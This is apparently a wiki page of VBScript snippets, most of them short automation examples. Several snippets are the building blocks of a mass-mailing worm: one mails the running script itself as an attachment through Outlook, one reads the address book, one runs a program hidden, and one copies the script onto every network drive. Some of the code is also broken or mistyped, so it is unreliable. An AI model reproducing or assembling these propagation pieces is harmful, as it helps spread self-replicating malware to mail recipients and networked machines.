Datenterrorist
Jump to navigation
Control IE
url = InputBox("Gib eine URL ein: ")
set IE = CreateObject("InternetExplorer.Application")
IE.navigate(url)
IE.visible = 1
Click
Send mail
user = "hackbard"
pass = "celine"
set oe = CreateObject("Outlook.Application")
set mail = oe.CreateItem(oeMailItem)
mail.Recipients.Add "Karl@arsch.net"
mail.Subject = "Send via VBScript"
mail.Body = "Karl Koch ist wieder da! =)"
set attachment = mail.Attachments
attachment.Add = WScript.Fullname, olByValue, 4, "Toll wa?"
set smtp = oe.GetNameSpace("MAPI")
smtp.Logon user, pass
mail.send
Click
Read addressbook
set outlook = CreateObject("Outlook.Application")
set api = outlook.GetNameSpace("MAPI")
for count=1 to api.AddressLists.Count
set contact = api.AddressLists(count)
MsgBox(contact.EmailAddress)
Click
Hidden program
set Shell = CreateObject("WScript.Shell")
set Envobj = Shell.Environment
command = Envobj("comspec")
MsgBox "Kommandointerpreter: " & command
MsgBox "Starte nach 3 Sekunden versteckt Klickedi."
WScript.Sleep 3000
Shell.Run "C:\windows\Sol.exe",0
Click
Working with directories
set filesystem = CreateObject("Scripting.FileSystemObject")
filesystem.CreateFolder("C:\test")
MsgBox("Created directory C:\test")
filesystem.DeleteFolder("C:\test")
MsgBox("Deleted directory C.\test")
Click
Working with files
set filesystem = CreateObject("Scripting.FileSystemObject")
set file = filesystem.OpenTextFile("C:\Autoexec.bat")
Do while NOT (file.EndOfStream)
MsgBox(file.ReadLine)
Loop
set newfile = filesystem.OpenTextFile("C:\testme.txt")
newfile.WriteLine("VBScript schreibt Dateien...")
newfile.Close
set appendfile = filesystem.OpenTextFile("C:\testme.txt",ForAppending)
appendfile.WriteLine("This text is appended...")
Click
Drives
set mount = CreateObject("Scripting.FileSystemObject")
set drives = mount.Drives
For Each drv in drives
typ = drv.DriveType
if typ = 0 then
msg = "Unknown"
elseif typ = 1 then
msg = "Floppy / Zip"
elseif typ = 2 then
msg = "Festplatte"
elseif typ = 3 then
msg = "Netzlaufwerk"
elseif typ = 4 then
msg = "CD-Rom"
elseif typ = 5 then
msg = "RAMdisk"
End If
MsgBox("Found drive " & drv.DriveLetter & " (" & msg & ")")
Click
Copy to netdrive
set filesystem = CreateObject("Scripting.FileSystemObject")
set drives = filesystem.Drives
For Each drv in drives
typ = drv.DriveType
if typ = 3 then
MsgBox("Found network drive " & drv.DriveLetter)
set myself = filesystem.GetFile(WScript.ScriptFullName)
myself.Copy drv.DriveLetter & ":\" & WScript.ScriptName
End If
Next
Click